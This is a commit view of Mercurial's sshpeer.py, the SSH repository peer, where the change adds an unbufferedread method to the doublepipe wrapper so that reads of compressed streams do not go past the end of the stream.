##// END OF EJS Templates
ssh: avoid reading beyond the end of stream when using compression...
Joerg Sonnenberger -
r38735:27391d74 default
parent child Browse files
Show More
@@ -1,635 +1,646 b''
1 # sshpeer.py - ssh repository proxy class for mercurial
1 # sshpeer.py - ssh repository proxy class for mercurial
2 #
2 #
3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import re
10 import re
11 import uuid
11 import uuid
12
12
13 from .i18n import _
13 from .i18n import _
14 from . import (
14 from . import (
15 error,
15 error,
16 pycompat,
16 pycompat,
17 util,
17 util,
18 wireprotoserver,
18 wireprotoserver,
19 wireprototypes,
19 wireprototypes,
20 wireprotov1peer,
20 wireprotov1peer,
21 wireprotov1server,
21 wireprotov1server,
22 )
22 )
23 from .utils import (
23 from .utils import (
24 procutil,
24 procutil,
25 stringutil,
25 stringutil,
26 )
26 )
27
27
28 def _serverquote(s):
28 def _serverquote(s):
29 """quote a string for the remote shell ... which we assume is sh"""
29 """quote a string for the remote shell ... which we assume is sh"""
30 if not s:
30 if not s:
31 return s
31 return s
32 if re.match('[a-zA-Z0-9@%_+=:,./-]*$', s):
32 if re.match('[a-zA-Z0-9@%_+=:,./-]*$', s):
33 return s
33 return s
34 return "'%s'" % s.replace("'", "'\\''")
34 return "'%s'" % s.replace("'", "'\\''")
35
35
36 def _forwardoutput(ui, pipe):
36 def _forwardoutput(ui, pipe):
37 """display all data currently available on pipe as remote output.
37 """display all data currently available on pipe as remote output.
38
38
39 This is non blocking."""
39 This is non blocking."""
40 if pipe:
40 if pipe:
41 s = procutil.readpipe(pipe)
41 s = procutil.readpipe(pipe)
42 if s:
42 if s:
43 for l in s.splitlines():
43 for l in s.splitlines():
44 ui.status(_("remote: "), l, '\n')
44 ui.status(_("remote: "), l, '\n')
45
45
46 class doublepipe(object):
46 class doublepipe(object):
47 """Operate a side-channel pipe in addition of a main one
47 """Operate a side-channel pipe in addition of a main one
48
48
49 The side-channel pipe contains server output to be forwarded to the user
49 The side-channel pipe contains server output to be forwarded to the user
50 input. The double pipe will behave as the "main" pipe, but will ensure the
50 input. The double pipe will behave as the "main" pipe, but will ensure the
51 content of the "side" pipe is properly processed while we wait for blocking
51 content of the "side" pipe is properly processed while we wait for blocking
52 call on the "main" pipe.
52 call on the "main" pipe.
53
53
54 If large amounts of data are read from "main", the forward will cease after
54 If large amounts of data are read from "main", the forward will cease after
55 the first bytes start to appear. This simplifies the implementation
55 the first bytes start to appear. This simplifies the implementation
56 without affecting actual output of sshpeer too much as we rarely issue
56 without affecting actual output of sshpeer too much as we rarely issue
57 large read for data not yet emitted by the server.
57 large read for data not yet emitted by the server.
58
58
59 The main pipe is expected to be a 'bufferedinputpipe' from the util module
59 The main pipe is expected to be a 'bufferedinputpipe' from the util module
60 that handle all the os specific bits. This class lives in this module
60 that handle all the os specific bits. This class lives in this module
61 because it focus on behavior specific to the ssh protocol."""
61 because it focus on behavior specific to the ssh protocol."""
62
62
63 def __init__(self, ui, main, side):
63 def __init__(self, ui, main, side):
64 self._ui = ui
64 self._ui = ui
65 self._main = main
65 self._main = main
66 self._side = side
66 self._side = side
67
67
68 def _wait(self):
68 def _wait(self):
69 """wait until some data are available on main or side
69 """wait until some data are available on main or side
70
70
71 return a pair of boolean (ismainready, issideready)
71 return a pair of boolean (ismainready, issideready)
72
72
73 (This will only wait for data if the setup is supported by `util.poll`)
73 (This will only wait for data if the setup is supported by `util.poll`)
74 """
74 """
75 if (isinstance(self._main, util.bufferedinputpipe) and
75 if (isinstance(self._main, util.bufferedinputpipe) and
76 self._main.hasbuffer):
76 self._main.hasbuffer):
77 # Main has data. Assume side is worth poking at.
77 # Main has data. Assume side is worth poking at.
78 return True, True
78 return True, True
79
79
80 fds = [self._main.fileno(), self._side.fileno()]
80 fds = [self._main.fileno(), self._side.fileno()]
81 try:
81 try:
82 act = util.poll(fds)
82 act = util.poll(fds)
83 except NotImplementedError:
83 except NotImplementedError:
84 # non supported yet case, assume all have data.
84 # non supported yet case, assume all have data.
85 act = fds
85 act = fds
86 return (self._main.fileno() in act, self._side.fileno() in act)
86 return (self._main.fileno() in act, self._side.fileno() in act)
87
87
88 def write(self, data):
88 def write(self, data):
89 return self._call('write', data)
89 return self._call('write', data)
90
90
91 def read(self, size):
91 def read(self, size):
92 r = self._call('read', size)
92 r = self._call('read', size)
93 if size != 0 and not r:
93 if size != 0 and not r:
94 # We've observed a condition that indicates the
94 # We've observed a condition that indicates the
95 # stdout closed unexpectedly. Check stderr one
95 # stdout closed unexpectedly. Check stderr one
96 # more time and snag anything that's there before
96 # more time and snag anything that's there before
97 # letting anyone know the main part of the pipe
97 # letting anyone know the main part of the pipe
98 # closed prematurely.
98 # closed prematurely.
99 _forwardoutput(self._ui, self._side)
99 _forwardoutput(self._ui, self._side)
100 return r
100 return r
101
101
102 def unbufferedread(self, size):
103 r = self._call('unbufferedread', size)
104 if size != 0 and not r:
105 # We've observed a condition that indicates the
106 # stdout closed unexpectedly. Check stderr one
107 # more time and snag anything that's there before
108 # letting anyone know the main part of the pipe
109 # closed prematurely.
110 _forwardoutput(self._ui, self._side)
111 return r
112
102 def readline(self):
113 def readline(self):
103 return self._call('readline')
114 return self._call('readline')
104
115
105 def _call(self, methname, data=None):
116 def _call(self, methname, data=None):
106 """call <methname> on "main", forward output of "side" while blocking
117 """call <methname> on "main", forward output of "side" while blocking
107 """
118 """
108 # data can be '' or 0
119 # data can be '' or 0
109 if (data is not None and not data) or self._main.closed:
120 if (data is not None and not data) or self._main.closed:
110 _forwardoutput(self._ui, self._side)
121 _forwardoutput(self._ui, self._side)
111 return ''
122 return ''
112 while True:
123 while True:
113 mainready, sideready = self._wait()
124 mainready, sideready = self._wait()
114 if sideready:
125 if sideready:
115 _forwardoutput(self._ui, self._side)
126 _forwardoutput(self._ui, self._side)
116 if mainready:
127 if mainready:
117 meth = getattr(self._main, methname)
128 meth = getattr(self._main, methname)
118 if data is None:
129 if data is None:
119 return meth()
130 return meth()
120 else:
131 else:
121 return meth(data)
132 return meth(data)
122
133
123 def close(self):
134 def close(self):
124 return self._main.close()
135 return self._main.close()
125
136
126 def flush(self):
137 def flush(self):
127 return self._main.flush()
138 return self._main.flush()
128
139
129 def _cleanuppipes(ui, pipei, pipeo, pipee):
140 def _cleanuppipes(ui, pipei, pipeo, pipee):
130 """Clean up pipes used by an SSH connection."""
141 """Clean up pipes used by an SSH connection."""
131 if pipeo:
142 if pipeo:
132 pipeo.close()
143 pipeo.close()
133 if pipei:
144 if pipei:
134 pipei.close()
145 pipei.close()
135
146
136 if pipee:
147 if pipee:
137 # Try to read from the err descriptor until EOF.
148 # Try to read from the err descriptor until EOF.
138 try:
149 try:
139 for l in pipee:
150 for l in pipee:
140 ui.status(_('remote: '), l)
151 ui.status(_('remote: '), l)
141 except (IOError, ValueError):
152 except (IOError, ValueError):
142 pass
153 pass
143
154
144 pipee.close()
155 pipee.close()
145
156
146 def _makeconnection(ui, sshcmd, args, remotecmd, path, sshenv=None):
157 def _makeconnection(ui, sshcmd, args, remotecmd, path, sshenv=None):
147 """Create an SSH connection to a server.
158 """Create an SSH connection to a server.
148
159
149 Returns a tuple of (process, stdin, stdout, stderr) for the
160 Returns a tuple of (process, stdin, stdout, stderr) for the
150 spawned process.
161 spawned process.
151 """
162 """
152 cmd = '%s %s %s' % (
163 cmd = '%s %s %s' % (
153 sshcmd,
164 sshcmd,
154 args,
165 args,
155 procutil.shellquote('%s -R %s serve --stdio' % (
166 procutil.shellquote('%s -R %s serve --stdio' % (
156 _serverquote(remotecmd), _serverquote(path))))
167 _serverquote(remotecmd), _serverquote(path))))
157
168
158 ui.debug('running %s\n' % cmd)
169 ui.debug('running %s\n' % cmd)
159 cmd = procutil.quotecommand(cmd)
170 cmd = procutil.quotecommand(cmd)
160
171
161 # no buffer allow the use of 'select'
172 # no buffer allow the use of 'select'
162 # feel free to remove buffering and select usage when we ultimately
173 # feel free to remove buffering and select usage when we ultimately
163 # move to threading.
174 # move to threading.
164 stdin, stdout, stderr, proc = procutil.popen4(cmd, bufsize=0, env=sshenv)
175 stdin, stdout, stderr, proc = procutil.popen4(cmd, bufsize=0, env=sshenv)
165
176
166 return proc, stdin, stdout, stderr
177 return proc, stdin, stdout, stderr
167
178
168 def _clientcapabilities():
179 def _clientcapabilities():
169 """Return list of capabilities of this client.
180 """Return list of capabilities of this client.
170
181
171 Returns a list of capabilities that are supported by this client.
182 Returns a list of capabilities that are supported by this client.
172 """
183 """
173 protoparams = {'partial-pull'}
184 protoparams = {'partial-pull'}
174 comps = [e.wireprotosupport().name for e in
185 comps = [e.wireprotosupport().name for e in
175 util.compengines.supportedwireengines(util.CLIENTROLE)]
186 util.compengines.supportedwireengines(util.CLIENTROLE)]
176 protoparams.add('comp=%s' % ','.join(comps))
187 protoparams.add('comp=%s' % ','.join(comps))
177 return protoparams
188 return protoparams
178
189
179 def _performhandshake(ui, stdin, stdout, stderr):
190 def _performhandshake(ui, stdin, stdout, stderr):
180 def badresponse():
191 def badresponse():
181 # Flush any output on stderr.
192 # Flush any output on stderr.
182 _forwardoutput(ui, stderr)
193 _forwardoutput(ui, stderr)
183
194
184 msg = _('no suitable response from remote hg')
195 msg = _('no suitable response from remote hg')
185 hint = ui.config('ui', 'ssherrorhint')
196 hint = ui.config('ui', 'ssherrorhint')
186 raise error.RepoError(msg, hint=hint)
197 raise error.RepoError(msg, hint=hint)
187
198
188 # The handshake consists of sending wire protocol commands in reverse
199 # The handshake consists of sending wire protocol commands in reverse
189 # order of protocol implementation and then sniffing for a response
200 # order of protocol implementation and then sniffing for a response
190 # to one of them.
201 # to one of them.
191 #
202 #
192 # Those commands (from oldest to newest) are:
203 # Those commands (from oldest to newest) are:
193 #
204 #
194 # ``between``
205 # ``between``
195 # Asks for the set of revisions between a pair of revisions. Command
206 # Asks for the set of revisions between a pair of revisions. Command
196 # present in all Mercurial server implementations.
207 # present in all Mercurial server implementations.
197 #
208 #
198 # ``hello``
209 # ``hello``
199 # Instructs the server to advertise its capabilities. Introduced in
210 # Instructs the server to advertise its capabilities. Introduced in
200 # Mercurial 0.9.1.
211 # Mercurial 0.9.1.
201 #
212 #
202 # ``upgrade``
213 # ``upgrade``
203 # Requests upgrade from default transport protocol version 1 to
214 # Requests upgrade from default transport protocol version 1 to
204 # a newer version. Introduced in Mercurial 4.6 as an experimental
215 # a newer version. Introduced in Mercurial 4.6 as an experimental
205 # feature.
216 # feature.
206 #
217 #
207 # The ``between`` command is issued with a request for the null
218 # The ``between`` command is issued with a request for the null
208 # range. If the remote is a Mercurial server, this request will
219 # range. If the remote is a Mercurial server, this request will
209 # generate a specific response: ``1\n\n``. This represents the
220 # generate a specific response: ``1\n\n``. This represents the
210 # wire protocol encoded value for ``\n``. We look for ``1\n\n``
221 # wire protocol encoded value for ``\n``. We look for ``1\n\n``
211 # in the output stream and know this is the response to ``between``
222 # in the output stream and know this is the response to ``between``
212 # and we're at the end of our handshake reply.
223 # and we're at the end of our handshake reply.
213 #
224 #
214 # The response to the ``hello`` command will be a line with the
225 # The response to the ``hello`` command will be a line with the
215 # length of the value returned by that command followed by that
226 # length of the value returned by that command followed by that
216 # value. If the server doesn't support ``hello`` (which should be
227 # value. If the server doesn't support ``hello`` (which should be
217 # rare), that line will be ``0\n``. Otherwise, the value will contain
228 # rare), that line will be ``0\n``. Otherwise, the value will contain
218 # RFC 822 like lines. Of these, the ``capabilities:`` line contains
229 # RFC 822 like lines. Of these, the ``capabilities:`` line contains
219 # the capabilities of the server.
230 # the capabilities of the server.
220 #
231 #
221 # The ``upgrade`` command isn't really a command in the traditional
232 # The ``upgrade`` command isn't really a command in the traditional
222 # sense of version 1 of the transport because it isn't using the
233 # sense of version 1 of the transport because it isn't using the
223 # proper mechanism for formatting insteads: instead, it just encodes
234 # proper mechanism for formatting insteads: instead, it just encodes
224 # arguments on the line, delimited by spaces.
235 # arguments on the line, delimited by spaces.
225 #
236 #
226 # The ``upgrade`` line looks like ``upgrade <token> <capabilities>``.
237 # The ``upgrade`` line looks like ``upgrade <token> <capabilities>``.
227 # If the server doesn't support protocol upgrades, it will reply to
238 # If the server doesn't support protocol upgrades, it will reply to
228 # this line with ``0\n``. Otherwise, it emits an
239 # this line with ``0\n``. Otherwise, it emits an
229 # ``upgraded <token> <protocol>`` line to both stdout and stderr.
240 # ``upgraded <token> <protocol>`` line to both stdout and stderr.
230 # Content immediately following this line describes additional
241 # Content immediately following this line describes additional
231 # protocol and server state.
242 # protocol and server state.
232 #
243 #
233 # In addition to the responses to our command requests, the server
244 # In addition to the responses to our command requests, the server
234 # may emit "banner" output on stdout. SSH servers are allowed to
245 # may emit "banner" output on stdout. SSH servers are allowed to
235 # print messages to stdout on login. Issuing commands on connection
246 # print messages to stdout on login. Issuing commands on connection
236 # allows us to flush this banner output from the server by scanning
247 # allows us to flush this banner output from the server by scanning
237 # for output to our well-known ``between`` command. Of course, if
248 # for output to our well-known ``between`` command. Of course, if
238 # the banner contains ``1\n\n``, this will throw off our detection.
249 # the banner contains ``1\n\n``, this will throw off our detection.
239
250
240 requestlog = ui.configbool('devel', 'debug.peer-request')
251 requestlog = ui.configbool('devel', 'debug.peer-request')
241
252
242 # Generate a random token to help identify responses to version 2
253 # Generate a random token to help identify responses to version 2
243 # upgrade request.
254 # upgrade request.
244 token = pycompat.sysbytes(str(uuid.uuid4()))
255 token = pycompat.sysbytes(str(uuid.uuid4()))
245 upgradecaps = [
256 upgradecaps = [
246 ('proto', wireprotoserver.SSHV2),
257 ('proto', wireprotoserver.SSHV2),
247 ]
258 ]
248 upgradecaps = util.urlreq.urlencode(upgradecaps)
259 upgradecaps = util.urlreq.urlencode(upgradecaps)
249
260
250 try:
261 try:
251 pairsarg = '%s-%s' % ('0' * 40, '0' * 40)
262 pairsarg = '%s-%s' % ('0' * 40, '0' * 40)
252 handshake = [
263 handshake = [
253 'hello\n',
264 'hello\n',
254 'between\n',
265 'between\n',
255 'pairs %d\n' % len(pairsarg),
266 'pairs %d\n' % len(pairsarg),
256 pairsarg,
267 pairsarg,
257 ]
268 ]
258
269
259 # Request upgrade to version 2 if configured.
270 # Request upgrade to version 2 if configured.
260 if ui.configbool('experimental', 'sshpeer.advertise-v2'):
271 if ui.configbool('experimental', 'sshpeer.advertise-v2'):
261 ui.debug('sending upgrade request: %s %s\n' % (token, upgradecaps))
272 ui.debug('sending upgrade request: %s %s\n' % (token, upgradecaps))
262 handshake.insert(0, 'upgrade %s %s\n' % (token, upgradecaps))
273 handshake.insert(0, 'upgrade %s %s\n' % (token, upgradecaps))
263
274
264 if requestlog:
275 if requestlog:
265 ui.debug('devel-peer-request: hello+between\n')
276 ui.debug('devel-peer-request: hello+between\n')
266 ui.debug('devel-peer-request: pairs: %d bytes\n' % len(pairsarg))
277 ui.debug('devel-peer-request: pairs: %d bytes\n' % len(pairsarg))
267 ui.debug('sending hello command\n')
278 ui.debug('sending hello command\n')
268 ui.debug('sending between command\n')
279 ui.debug('sending between command\n')
269
280
270 stdin.write(''.join(handshake))
281 stdin.write(''.join(handshake))
271 stdin.flush()
282 stdin.flush()
272 except IOError:
283 except IOError:
273 badresponse()
284 badresponse()
274
285
275 # Assume version 1 of wire protocol by default.
286 # Assume version 1 of wire protocol by default.
276 protoname = wireprototypes.SSHV1
287 protoname = wireprototypes.SSHV1
277 reupgraded = re.compile(b'^upgraded %s (.*)$' % stringutil.reescape(token))
288 reupgraded = re.compile(b'^upgraded %s (.*)$' % stringutil.reescape(token))
278
289
279 lines = ['', 'dummy']
290 lines = ['', 'dummy']
280 max_noise = 500
291 max_noise = 500
281 while lines[-1] and max_noise:
292 while lines[-1] and max_noise:
282 try:
293 try:
283 l = stdout.readline()
294 l = stdout.readline()
284 _forwardoutput(ui, stderr)
295 _forwardoutput(ui, stderr)
285
296
286 # Look for reply to protocol upgrade request. It has a token
297 # Look for reply to protocol upgrade request. It has a token
287 # in it, so there should be no false positives.
298 # in it, so there should be no false positives.
288 m = reupgraded.match(l)
299 m = reupgraded.match(l)
289 if m:
300 if m:
290 protoname = m.group(1)
301 protoname = m.group(1)
291 ui.debug('protocol upgraded to %s\n' % protoname)
302 ui.debug('protocol upgraded to %s\n' % protoname)
292 # If an upgrade was handled, the ``hello`` and ``between``
303 # If an upgrade was handled, the ``hello`` and ``between``
293 # requests are ignored. The next output belongs to the
304 # requests are ignored. The next output belongs to the
294 # protocol, so stop scanning lines.
305 # protocol, so stop scanning lines.
295 break
306 break
296
307
297 # Otherwise it could be a banner, ``0\n`` response if server
308 # Otherwise it could be a banner, ``0\n`` response if server
298 # doesn't support upgrade.
309 # doesn't support upgrade.
299
310
300 if lines[-1] == '1\n' and l == '\n':
311 if lines[-1] == '1\n' and l == '\n':
301 break
312 break
302 if l:
313 if l:
303 ui.debug('remote: ', l)
314 ui.debug('remote: ', l)
304 lines.append(l)
315 lines.append(l)
305 max_noise -= 1
316 max_noise -= 1
306 except IOError:
317 except IOError:
307 badresponse()
318 badresponse()
308 else:
319 else:
309 badresponse()
320 badresponse()
310
321
311 caps = set()
322 caps = set()
312
323
313 # For version 1, we should see a ``capabilities`` line in response to the
324 # For version 1, we should see a ``capabilities`` line in response to the
314 # ``hello`` command.
325 # ``hello`` command.
315 if protoname == wireprototypes.SSHV1:
326 if protoname == wireprototypes.SSHV1:
316 for l in reversed(lines):
327 for l in reversed(lines):
317 # Look for response to ``hello`` command. Scan from the back so
328 # Look for response to ``hello`` command. Scan from the back so
318 # we don't misinterpret banner output as the command reply.
329 # we don't misinterpret banner output as the command reply.
319 if l.startswith('capabilities:'):
330 if l.startswith('capabilities:'):
320 caps.update(l[:-1].split(':')[1].split())
331 caps.update(l[:-1].split(':')[1].split())
321 break
332 break
322 elif protoname == wireprotoserver.SSHV2:
333 elif protoname == wireprotoserver.SSHV2:
323 # We see a line with number of bytes to follow and then a value
334 # We see a line with number of bytes to follow and then a value
324 # looking like ``capabilities: *``.
335 # looking like ``capabilities: *``.
325 line = stdout.readline()
336 line = stdout.readline()
326 try:
337 try:
327 valuelen = int(line)
338 valuelen = int(line)
328 except ValueError:
339 except ValueError:
329 badresponse()
340 badresponse()
330
341
331 capsline = stdout.read(valuelen)
342 capsline = stdout.read(valuelen)
332 if not capsline.startswith('capabilities: '):
343 if not capsline.startswith('capabilities: '):
333 badresponse()
344 badresponse()
334
345
335 ui.debug('remote: %s\n' % capsline)
346 ui.debug('remote: %s\n' % capsline)
336
347
337 caps.update(capsline.split(':')[1].split())
348 caps.update(capsline.split(':')[1].split())
338 # Trailing newline.
349 # Trailing newline.
339 stdout.read(1)
350 stdout.read(1)
340
351
341 # Error if we couldn't find capabilities, this means:
352 # Error if we couldn't find capabilities, this means:
342 #
353 #
343 # 1. Remote isn't a Mercurial server
354 # 1. Remote isn't a Mercurial server
344 # 2. Remote is a <0.9.1 Mercurial server
355 # 2. Remote is a <0.9.1 Mercurial server
345 # 3. Remote is a future Mercurial server that dropped ``hello``
356 # 3. Remote is a future Mercurial server that dropped ``hello``
346 # and other attempted handshake mechanisms.
357 # and other attempted handshake mechanisms.
347 if not caps:
358 if not caps:
348 badresponse()
359 badresponse()
349
360
350 # Flush any output on stderr before proceeding.
361 # Flush any output on stderr before proceeding.
351 _forwardoutput(ui, stderr)
362 _forwardoutput(ui, stderr)
352
363
353 return protoname, caps
364 return protoname, caps
354
365
355 class sshv1peer(wireprotov1peer.wirepeer):
366 class sshv1peer(wireprotov1peer.wirepeer):
356 def __init__(self, ui, url, proc, stdin, stdout, stderr, caps,
367 def __init__(self, ui, url, proc, stdin, stdout, stderr, caps,
357 autoreadstderr=True):
368 autoreadstderr=True):
358 """Create a peer from an existing SSH connection.
369 """Create a peer from an existing SSH connection.
359
370
360 ``proc`` is a handle on the underlying SSH process.
371 ``proc`` is a handle on the underlying SSH process.
361 ``stdin``, ``stdout``, and ``stderr`` are handles on the stdio
372 ``stdin``, ``stdout``, and ``stderr`` are handles on the stdio
362 pipes for that process.
373 pipes for that process.
363 ``caps`` is a set of capabilities supported by the remote.
374 ``caps`` is a set of capabilities supported by the remote.
364 ``autoreadstderr`` denotes whether to automatically read from
375 ``autoreadstderr`` denotes whether to automatically read from
365 stderr and to forward its output.
376 stderr and to forward its output.
366 """
377 """
367 self._url = url
378 self._url = url
368 self.ui = ui
379 self.ui = ui
369 # self._subprocess is unused. Keeping a handle on the process
380 # self._subprocess is unused. Keeping a handle on the process
370 # holds a reference and prevents it from being garbage collected.
381 # holds a reference and prevents it from being garbage collected.
371 self._subprocess = proc
382 self._subprocess = proc
372
383
373 # And we hook up our "doublepipe" wrapper to allow querying
384 # And we hook up our "doublepipe" wrapper to allow querying
374 # stderr any time we perform I/O.
385 # stderr any time we perform I/O.
375 if autoreadstderr:
386 if autoreadstderr:
376 stdout = doublepipe(ui, util.bufferedinputpipe(stdout), stderr)
387 stdout = doublepipe(ui, util.bufferedinputpipe(stdout), stderr)
377 stdin = doublepipe(ui, stdin, stderr)
388 stdin = doublepipe(ui, stdin, stderr)
378
389
379 self._pipeo = stdin
390 self._pipeo = stdin
380 self._pipei = stdout
391 self._pipei = stdout
381 self._pipee = stderr
392 self._pipee = stderr
382 self._caps = caps
393 self._caps = caps
383 self._autoreadstderr = autoreadstderr
394 self._autoreadstderr = autoreadstderr
384
395
385 # Commands that have a "framed" response where the first line of the
396 # Commands that have a "framed" response where the first line of the
386 # response contains the length of that response.
397 # response contains the length of that response.
387 _FRAMED_COMMANDS = {
398 _FRAMED_COMMANDS = {
388 'batch',
399 'batch',
389 }
400 }
390
401
391 # Begin of ipeerconnection interface.
402 # Begin of ipeerconnection interface.
392
403
393 def url(self):
404 def url(self):
394 return self._url
405 return self._url
395
406
396 def local(self):
407 def local(self):
397 return None
408 return None
398
409
399 def peer(self):
410 def peer(self):
400 return self
411 return self
401
412
402 def canpush(self):
413 def canpush(self):
403 return True
414 return True
404
415
405 def close(self):
416 def close(self):
406 pass
417 pass
407
418
408 # End of ipeerconnection interface.
419 # End of ipeerconnection interface.
409
420
410 # Begin of ipeercommands interface.
421 # Begin of ipeercommands interface.
411
422
412 def capabilities(self):
423 def capabilities(self):
413 return self._caps
424 return self._caps
414
425
415 # End of ipeercommands interface.
426 # End of ipeercommands interface.
416
427
417 def _readerr(self):
428 def _readerr(self):
418 _forwardoutput(self.ui, self._pipee)
429 _forwardoutput(self.ui, self._pipee)
419
430
420 def _abort(self, exception):
431 def _abort(self, exception):
421 self._cleanup()
432 self._cleanup()
422 raise exception
433 raise exception
423
434
424 def _cleanup(self):
435 def _cleanup(self):
425 _cleanuppipes(self.ui, self._pipei, self._pipeo, self._pipee)
436 _cleanuppipes(self.ui, self._pipei, self._pipeo, self._pipee)
426
437
427 __del__ = _cleanup
438 __del__ = _cleanup
428
439
429 def _sendrequest(self, cmd, args, framed=False):
440 def _sendrequest(self, cmd, args, framed=False):
430 if (self.ui.debugflag
441 if (self.ui.debugflag
431 and self.ui.configbool('devel', 'debug.peer-request')):
442 and self.ui.configbool('devel', 'debug.peer-request')):
432 dbg = self.ui.debug
443 dbg = self.ui.debug
433 line = 'devel-peer-request: %s\n'
444 line = 'devel-peer-request: %s\n'
434 dbg(line % cmd)
445 dbg(line % cmd)
435 for key, value in sorted(args.items()):
446 for key, value in sorted(args.items()):
436 if not isinstance(value, dict):
447 if not isinstance(value, dict):
437 dbg(line % ' %s: %d bytes' % (key, len(value)))
448 dbg(line % ' %s: %d bytes' % (key, len(value)))
438 else:
449 else:
439 for dk, dv in sorted(value.items()):
450 for dk, dv in sorted(value.items()):
440 dbg(line % ' %s-%s: %d' % (key, dk, len(dv)))
451 dbg(line % ' %s-%s: %d' % (key, dk, len(dv)))
441 self.ui.debug("sending %s command\n" % cmd)
452 self.ui.debug("sending %s command\n" % cmd)
442 self._pipeo.write("%s\n" % cmd)
453 self._pipeo.write("%s\n" % cmd)
443 _func, names = wireprotov1server.commands[cmd]
454 _func, names = wireprotov1server.commands[cmd]
444 keys = names.split()
455 keys = names.split()
445 wireargs = {}
456 wireargs = {}
446 for k in keys:
457 for k in keys:
447 if k == '*':
458 if k == '*':
448 wireargs['*'] = args
459 wireargs['*'] = args
449 break
460 break
450 else:
461 else:
451 wireargs[k] = args[k]
462 wireargs[k] = args[k]
452 del args[k]
463 del args[k]
453 for k, v in sorted(wireargs.iteritems()):
464 for k, v in sorted(wireargs.iteritems()):
454 self._pipeo.write("%s %d\n" % (k, len(v)))
465 self._pipeo.write("%s %d\n" % (k, len(v)))
455 if isinstance(v, dict):
466 if isinstance(v, dict):
456 for dk, dv in v.iteritems():
467 for dk, dv in v.iteritems():
457 self._pipeo.write("%s %d\n" % (dk, len(dv)))
468 self._pipeo.write("%s %d\n" % (dk, len(dv)))
458 self._pipeo.write(dv)
469 self._pipeo.write(dv)
459 else:
470 else:
460 self._pipeo.write(v)
471 self._pipeo.write(v)
461 self._pipeo.flush()
472 self._pipeo.flush()
462
473
463 # We know exactly how many bytes are in the response. So return a proxy
474 # We know exactly how many bytes are in the response. So return a proxy
464 # around the raw output stream that allows reading exactly this many
475 # around the raw output stream that allows reading exactly this many
465 # bytes. Callers then can read() without fear of overrunning the
476 # bytes. Callers then can read() without fear of overrunning the
466 # response.
477 # response.
467 if framed:
478 if framed:
468 amount = self._getamount()
479 amount = self._getamount()
469 return util.cappedreader(self._pipei, amount)
480 return util.cappedreader(self._pipei, amount)
470
481
471 return self._pipei
482 return self._pipei
472
483
473 def _callstream(self, cmd, **args):
484 def _callstream(self, cmd, **args):
474 args = pycompat.byteskwargs(args)
485 args = pycompat.byteskwargs(args)
475 return self._sendrequest(cmd, args, framed=cmd in self._FRAMED_COMMANDS)
486 return self._sendrequest(cmd, args, framed=cmd in self._FRAMED_COMMANDS)
476
487
477 def _callcompressable(self, cmd, **args):
488 def _callcompressable(self, cmd, **args):
478 args = pycompat.byteskwargs(args)
489 args = pycompat.byteskwargs(args)
479 return self._sendrequest(cmd, args, framed=cmd in self._FRAMED_COMMANDS)
490 return self._sendrequest(cmd, args, framed=cmd in self._FRAMED_COMMANDS)
480
491
481 def _call(self, cmd, **args):
492 def _call(self, cmd, **args):
482 args = pycompat.byteskwargs(args)
493 args = pycompat.byteskwargs(args)
483 return self._sendrequest(cmd, args, framed=True).read()
494 return self._sendrequest(cmd, args, framed=True).read()
484
495
485 def _callpush(self, cmd, fp, **args):
496 def _callpush(self, cmd, fp, **args):
486 # The server responds with an empty frame if the client should
497 # The server responds with an empty frame if the client should
487 # continue submitting the payload.
498 # continue submitting the payload.
488 r = self._call(cmd, **args)
499 r = self._call(cmd, **args)
489 if r:
500 if r:
490 return '', r
501 return '', r
491
502
492 # The payload consists of frames with content followed by an empty
503 # The payload consists of frames with content followed by an empty
493 # frame.
504 # frame.
494 for d in iter(lambda: fp.read(4096), ''):
505 for d in iter(lambda: fp.read(4096), ''):
495 self._writeframed(d)
506 self._writeframed(d)
496 self._writeframed("", flush=True)
507 self._writeframed("", flush=True)
497
508
498 # In case of success, there is an empty frame and a frame containing
509 # In case of success, there is an empty frame and a frame containing
499 # the integer result (as a string).
510 # the integer result (as a string).
500 # In case of error, there is a non-empty frame containing the error.
511 # In case of error, there is a non-empty frame containing the error.
501 r = self._readframed()
512 r = self._readframed()
502 if r:
513 if r:
503 return '', r
514 return '', r
504 return self._readframed(), ''
515 return self._readframed(), ''
505
516
506 def _calltwowaystream(self, cmd, fp, **args):
517 def _calltwowaystream(self, cmd, fp, **args):
507 # The server responds with an empty frame if the client should
518 # The server responds with an empty frame if the client should
508 # continue submitting the payload.
519 # continue submitting the payload.
509 r = self._call(cmd, **args)
520 r = self._call(cmd, **args)
510 if r:
521 if r:
511 # XXX needs to be made better
522 # XXX needs to be made better
512 raise error.Abort(_('unexpected remote reply: %s') % r)
523 raise error.Abort(_('unexpected remote reply: %s') % r)
513
524
514 # The payload consists of frames with content followed by an empty
525 # The payload consists of frames with content followed by an empty
515 # frame.
526 # frame.
516 for d in iter(lambda: fp.read(4096), ''):
527 for d in iter(lambda: fp.read(4096), ''):
517 self._writeframed(d)
528 self._writeframed(d)
518 self._writeframed("", flush=True)
529 self._writeframed("", flush=True)
519
530
520 return self._pipei
531 return self._pipei
521
532
522 def _getamount(self):
533 def _getamount(self):
523 l = self._pipei.readline()
534 l = self._pipei.readline()
524 if l == '\n':
535 if l == '\n':
525 if self._autoreadstderr:
536 if self._autoreadstderr:
526 self._readerr()
537 self._readerr()
527 msg = _('check previous remote output')
538 msg = _('check previous remote output')
528 self._abort(error.OutOfBandError(hint=msg))
539 self._abort(error.OutOfBandError(hint=msg))
529 if self._autoreadstderr:
540 if self._autoreadstderr:
530 self._readerr()
541 self._readerr()
531 try:
542 try:
532 return int(l)
543 return int(l)
533 except ValueError:
544 except ValueError:
534 self._abort(error.ResponseError(_("unexpected response:"), l))
545 self._abort(error.ResponseError(_("unexpected response:"), l))
535
546
536 def _readframed(self):
547 def _readframed(self):
537 size = self._getamount()
548 size = self._getamount()
538 if not size:
549 if not size:
539 return b''
550 return b''
540
551
541 return self._pipei.read(size)
552 return self._pipei.read(size)
542
553
543 def _writeframed(self, data, flush=False):
554 def _writeframed(self, data, flush=False):
544 self._pipeo.write("%d\n" % len(data))
555 self._pipeo.write("%d\n" % len(data))
545 if data:
556 if data:
546 self._pipeo.write(data)
557 self._pipeo.write(data)
547 if flush:
558 if flush:
548 self._pipeo.flush()
559 self._pipeo.flush()
